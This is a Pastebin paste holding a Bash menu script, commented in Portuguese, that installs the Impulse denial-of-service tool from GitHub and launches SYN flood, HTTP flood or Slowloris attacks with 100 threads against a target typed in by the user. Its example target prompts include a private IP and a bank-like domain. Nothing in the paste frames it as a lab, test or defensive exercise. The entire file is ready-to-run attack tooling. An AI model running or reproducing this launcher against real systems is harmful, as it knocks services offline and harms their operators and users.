DarkProgrammer000

Denial os Service [impulse]

Aug 7th, 2021
1,514
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/bin/bash
  2.  
  3. # Execucao do programa
  4. ip()
  5. {
  6.     clear
  7.     echo -e "\033[01;34m\n  ----- Execucao ----- \n\033[01;37m"
  8.  
  9.     cd Impulse/
  10.     echo -n -e "\033[01;35m\n # IP (192.168.0.100): \033[01;37m"
  11.     read target
  12.  
  13.     # Comando
  14.     clear
  15.     python3 impulse.py --method SYN --target $target:80 --threads 100
  16. }
  17.  
  18. syn()
  19. {
  20.     clear
  21.     echo -e "\033[01;34m\n  ----- Execucao ----- \n\033[01;37m"
  22.  
  23.     cd Impulse/
  24.     echo -n -e "\033[01;35m\n # Host (http://www.bancocn.com): \033[01;37m"
  25.     read target
  26.  
  27.     # Comando
  28.     clear
  29.     python3 impulse.py --method SYN --target $target --threads 100
  30. }
  31.  
  32. http()
  33. {
  34.     clear
  35.     echo -e "\033[01;34m\n  ----- Execucao ----- \n\033[01;37m"
  36.  
  37.     cd Impulse/
  38.     echo -n -e "\033[01;35m\n # Host (http://www.bancocn.com): \033[01;37m"
  39.     read target
  40.  
  41.     # Comando
  42.     clear
  43.     python3 impulse.py --method HTTP --target $target --threads 100
  44. }
  45.  
  46. slowLoris()
  47. {
  48.     clear
  49.     echo -e "\033[01;34m\n  ----- Execucao ----- \n\033[01;37m"
  50.  
  51.     cd Impulse/
  52.     echo -n -e "\033[01;35m\n # Host (http://www.bancocn.com): \033[01;37m"
  53.     read target
  54.  
  55.     # Comando
  56.     clear
  57.     python3 impulse.py --method SLOWLORIS --target $target --threads 100
  58. }
  59.  
  60. # Instalacao do programa
  61. instalacao()
  62. {
  63.     echo -e "\033[01;35m\n  ----- Instalacao ----- \n\033[01;37m"
  64.    
  65.     # Estutura de decisao: Analisar se o arquivo existe
  66.     if [[ -r Impulse ]]
  67.     then
  68.         echo -e "\033[01;33m\n # Diretorio existente \n\033[01;37m"
  69.    
  70.     else
  71.         apt install python3 python3-pip git -y
  72.         git clone https://github.com/LimerBoy/Impulse
  73.         cd Impulse/
  74.         pip3 install -r requirements.txt
  75.         cd ../
  76.     fi
  77. }
  78.  
  79. clear
  80. echo -e "\033[01;34m --------------\033[01;37m"
  81. echo -e "\033[01;35m    Impulse    \033[01;37m"
  82. echo -e "\033[01;34m --------------\033[01;37m"
  83. echo ""
  84. echo -e "\033[01;35m [1] IP (rede interna) \033[01;37m"
  85. echo -e "\033[01;36m [2] SYN           \033[01;37m"
  86. echo -e "\033[01;37m [3] HTTP          \033[01;37m"
  87. echo -e "\033[01;31m [4] SlowLoris     \033[01;37m"
  88. echo -e "\033[01;32m [5] Instalacao        \033[01;37m"
  89. echo ""
  90. echo -e -n "\033[01;33m - Opc: \033[01;37m"
  91. read opc
  92. clear
  93.  
  94. # Estrutura de escolha
  95. case $opc in
  96.  
  97. 1)  ip;;
  98. 2)  syn;;
  99. 3)  http;;
  100. 4)  slowLoris;;
  101. 5)  instalacao;;
  102. *)  ;;
  103.  
  104. esac
  105.  
RAW Paste Data